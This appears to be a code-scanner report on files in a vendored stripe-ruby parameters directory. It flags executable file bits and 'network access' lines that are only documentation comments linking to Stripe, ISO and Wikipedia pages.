    # Indicates that you intend to make future payments with this ConfirmationToken's payment method.     #     # The presence of this property will [attach the payment method](https://docs.stripe.com/payments/save-during-payment) to the Paymen
  • Network accessline 647
    # The presence of this property will [attach the payment method](https://docs.stripe.com/payments/save-during-payment) to the PaymentIntent's Customer, if present, after the PaymentIntent is confirmed and any required actions from the user 

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/confirmation_token_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/country_spec_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/country_spec_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/coupon_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 27
    # Three-letter [ISO code for the currency](https://stripe.com/docs/currencies) of the `amount_off` parameter (required if `amount_off` is passed).
  • Network accessline 29
    # Coupons defined in each available currency option (only supported if `amount_off` is passed). Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.
  • Network accessline 41
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/coupon_delete_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/coupon_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/coupon_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/coupon_update_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 14
    # Coupons defined in each available currency option (only supported if the coupon is amount-based). Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://str
  • Network accessline 18
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/credit_note_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 116
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/credit_note_line_item_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/credit_note_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/credit_note_list_preview_line_items_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 120
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/credit_note_preview_lines_list_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 120
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/credit_note_preview_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 116
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/credit_note_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/credit_note_update_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 10
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/credit_note_void_credit_note_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_balance_transaction_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 8
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). Specifies the [`invoice_credit_balance`](https://docs.stripe.com/api/cus
  • Network accessline 14
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_balance_transaction_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_balance_transaction_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_balance_transaction_update_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 10
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_cash_balance_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_cash_balance_transaction_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_cash_balance_transaction_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_cash_balance_update_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 7
    # Controls how funds transferred by the customer are applied to payment intents and invoices. Valid options are `automatic`, `manual`, or `merchant_default`. For more information about these reconciliation modes, see [Reconciliation](https:

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_create_funding_instructions_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 32
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 9
    # A freeform text field for the country. However, in order to activate some tax features, the format should be a two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 17
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 32
    # Controls how funds transferred by the customer are applied to payment intents and invoices. Valid options are `automatic`, `manual`, or `merchant_default`. For more information about these reconciliation modes, see [Reconciliation](https:
  • Network accessline 98
    # A freeform text field for the country. However, in order to activate some tax features, the format should be a two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 106
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 162
    # The customer's address. Learn about [country-specific requirements for calculating tax](https://docs.stripe.com/invoicing/taxes?dashboard-or-api=dashboard#set-up-customer).
  • Network accessline 182
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_delete_discount_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_delete_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_fund_cash_balance_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    # Amount to be used for this test cash balance transaction. A positive integer representing how much to fund in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) (e.g., 100 cents to fund $1.00 or 100 to fund ¥100
  • Network accessline 8
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 12
    # A description of the test funding. This simulates free-text references supplied by customers when making bank transfers to their cash balance. You can use this to test how Stripe's [reconciliation algorithm](https://docs.stripe.com/paymen

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_funding_instructions_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 32
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_list_payment_methods_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_payment_method_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_payment_method_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_payment_source_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 8
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 10
    # Please refer to full [documentation](https://api.stripe.com) instead.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_payment_source_delete_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_payment_source_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_payment_source_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_payment_source_update_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 10
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 18
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 75
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_payment_source_verify_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_retrieve_payment_method_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_search_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 12
    # The search query string. See [search query language](https://docs.stripe.com/search#search-query-language) and the list of supported [query fields for customers](https://docs.stripe.com/search#query-fields-for-customers).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_session_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 18
    # A list of [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) values that controls which saved payment methods the customer sheet displays by filtering to only show payment methods
  • Network accessline 22
    # Controls whether the customer sheet displays the option to remove a saved payment method."           #           # Allowing buyers to remove their saved payment methods impacts subscriptions that depend on that payment method. Removing th
  • Network accessline 24
    # Allowing buyers to remove their saved payment methods impacts subscriptions that depend on that payment method. Removing the payment method detaches the [`customer` object](https://docs.stripe.com/api/payment_methods/object#payment_method
  • Network accessline 45
    # A list of [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) values that controls which saved payment methods the mobile payment element displays by filtering to only show payment
  • Network accessline 51
    # Controls whether the mobile payment element displays the option to remove a saved payment method."           #           # Allowing buyers to remove their saved payment methods impacts subscriptions that depend on that payment method. Rem
  • Network accessline 53
    # Allowing buyers to remove their saved payment methods impacts subscriptions that depend on that payment method. Removing the payment method detaches the [`customer` object](https://docs.stripe.com/api/payment_methods/object#payment_method
  • Network accessline 55
    # Controls whether the mobile payment element displays a checkbox offering to save a new payment method.           #           # If a customer checks the box, the [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#paymen
  • Network accessline 57
    # If a customer checks the box, the [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) value on the PaymentMethod is set to `'always'` at confirmation time. For PaymentIntents, the 
  • Network accessline 91
    # A list of [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) values that controls which saved payment methods the Payment Element displays by filtering to only show payment method
  • Network accessline 99
    # Controls whether the Payment Element displays the option to remove a saved payment method. This parameter defaults to `disabled`.           #           # Allowing buyers to remove their saved payment methods impacts subscriptions that dep
  • Network accessline 101
    # Allowing buyers to remove their saved payment methods impacts subscriptions that depend on that payment method. Removing the payment method detaches the [`customer` object](https://docs.stripe.com/api/payment_methods/object#payment_method
  • Network accessline 103
    # Controls whether the Payment Element displays a checkbox offering to save a new payment method. This parameter defaults to `disabled`.           #           # If a customer checks the box, the [`allow_redisplay`](https://docs.stripe.com/a
  • Network accessline 105
    # If a customer checks the box, the [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) value on the PaymentMethod is set to `'always'` at confirmation time. For PaymentIntents, the 
  • Network accessline 107
    # When using PaymentIntents and the customer checks the save checkbox, this field determines the [`setup_future_usage`](https://docs.stripe.com/api/payment_intents/object#payment_intent_object-setup_future_usage) value used to confirm the P
  • Network accessline 109
    # When using SetupIntents, directly configure the [`usage`](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-usage) value on SetupIntent creation.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_tax_id_create_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_tax_id_delete_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_tax_id_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_tax_id_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_update_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 9
    # A freeform text field for the country. However, in order to activate some tax features, the format should be a two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 17
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 32
    # Controls how funds transferred by the customer are applied to payment intents and invoices. Valid options are `automatic`, `manual`, or `merchant_default`. For more information about these reconciliation modes, see [Reconciliation](https:
  • Network accessline 98
    # A freeform text field for the country. However, in order to activate some tax features, the format should be a two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 106
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 150
    # The customer's address. Learn about [country-specific requirements for calculating tax](https://docs.stripe.com/invoicing/taxes?dashboard-or-api=dashboard#set-up-customer).
  • Network accessline 158
    # If you are using payment methods created via the PaymentMethods API, see the [invoice_settings.default_payment_method](https://docs.stripe.com/api/customers/update#update_customer-invoice_settings-default_payment_method) parameter.
  • Network accessline 160
    # Provide the ID of a payment source already attached to this customer to make it this customer's default payment source.     #     # If you want to add a new payment source and make it the default, see the [source](https://docs.stripe.com/
  • Network accessline 162
    # If you want to add a new payment source and make it the default, see the [source](https://docs.stripe.com/api/customers/update#update_customer-source) property.
  • Network accessline 176
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/dispute_close_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/dispute_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/dispute_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/dispute_update_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 13
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 21
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 82
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 90
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 179
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Your subscription cancellation policy, as shown to the customer.
  • Network accessline 185
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Any communication with the customer that you feel is relevant to your case. Examples include emails proving that the customer received the product or service, or demonstr
  • Network accessline 193
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) A relevant document or contract showing the customer's signature.
  • Network accessline 195
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Documentation for the prior charge that can uniquely identify the charge, such as a receipt, shipping label, work order, etc. This document should be paired with a simila
  • Network accessline 205
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Any receipt or message sent to the customer notifying them of the charge.
  • Network accessline 207
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Your refund policy, as shown to the customer.
  • Network accessline 215
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Documentation showing proof that a service was provided to the customer. This could include a copy of a signed contract, work order, or other form of written agreement.
  • Network accessline 223
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Documentation showing proof that a product was shipped to the customer at the same address the customer provided to you. This could include a copy of the shipment receipt
  • Network accessline 227
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Any additional evidence or statements.
  • Network accessline 296
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/entitlements/active_entitlement_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/entitlements/active_entitlement_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/entitlements/feature_create_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/entitlements/feature_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/entitlements/feature_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/entitlements/feature_update_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/ephemeral_key_create_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/ephemeral_key_delete_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/event_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/event_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/exchange_rate_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/exchange_rate_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/file_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 11
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 24
    # Optional parameters that automatically create a [file link](https://api.stripe.com#file_links) for the newly created file.
  • Network accessline 26
    # The [purpose](https://docs.stripe.com/file-upload#uploading-a-file) of the uploaded file.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/file_link_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 12
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/file_link_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/file_link_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/file_link_update_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 10
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/file_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/file_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/financial_connections/account_disconnect_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/financial_connections/account_list_owners_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/financial_connections/account_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/financial_connections/account_owner_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/financial_connections/account_refresh_account_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/financial_connections/account_refresh_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/financial_connections/account_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/financial_connections/account_subscribe_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/financial_connections/account_unsubscribe_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/financial_connections/session_create_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/financial_connections/session_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/financial_connections/transaction_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/financial_connections/transaction_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/forwarding/request_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 31
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/forwarding/request_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/forwarding/request_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/identity/verification_report_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/identity/verification_report_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/identity/verification_session_cancel_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/identity/verification_session_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 11
    # Collect an ID number and perform an [ID number check](https://docs.stripe.com/identity/verification-checks?type=id-number) with the document’s extracted name and date of birth.
  • Network accessline 15
    # Capture a face image and perform a [selfie check](https://docs.stripe.com/identity/verification-checks?type=selfie) comparing a photo ID and a picture of your user’s face. [Learn more](https://docs.stripe.com/identity/selfie).
  • Network accessline 30
    # Options that apply to the [document check](https://docs.stripe.com/identity/verification-checks?type=document).
  • Network accessline 65
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 79
    # The type of [verification check](https://docs.stripe.com/identity/verification-checks) to be performed. You must provide a `type` if not passing `verification_flow`.
  • Network accessline 81
    # The ID of a verification flow from the Dashboard. See https://docs.stripe.com/identity/verification-flows.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/identity/verification_session_list_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 40
    # Only return VerificationSessions with this status. [Learn more about the lifecycle of sessions](https://docs.stripe.com/identity/how-sessions-work).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/identity/verification_session_redact_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/identity/verification_session_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/identity/verification_session_update_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 11
    # Collect an ID number and perform an [ID number check](https://docs.stripe.com/identity/verification-checks?type=id-number) with the document’s extracted name and date of birth.
  • Network accessline 15
    # Capture a face image and perform a [selfie check](https://docs.stripe.com/identity/verification-checks?type=selfie) comparing a photo ID and a picture of your user’s face. [Learn more](https://docs.stripe.com/identity/selfie).
  • Network accessline 30
    # Options that apply to the [document check](https://docs.stripe.com/identity/verification-checks?type=document).
  • Network accessline 51
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 57
    # The type of [verification check](https://docs.stripe.com/identity/verification-checks) to be performed.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/invoice_add_lines_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 40
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 44
    # A [tax code](https://docs.stripe.com/tax/tax-categories) ID.
  • Network accessline 65
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 67
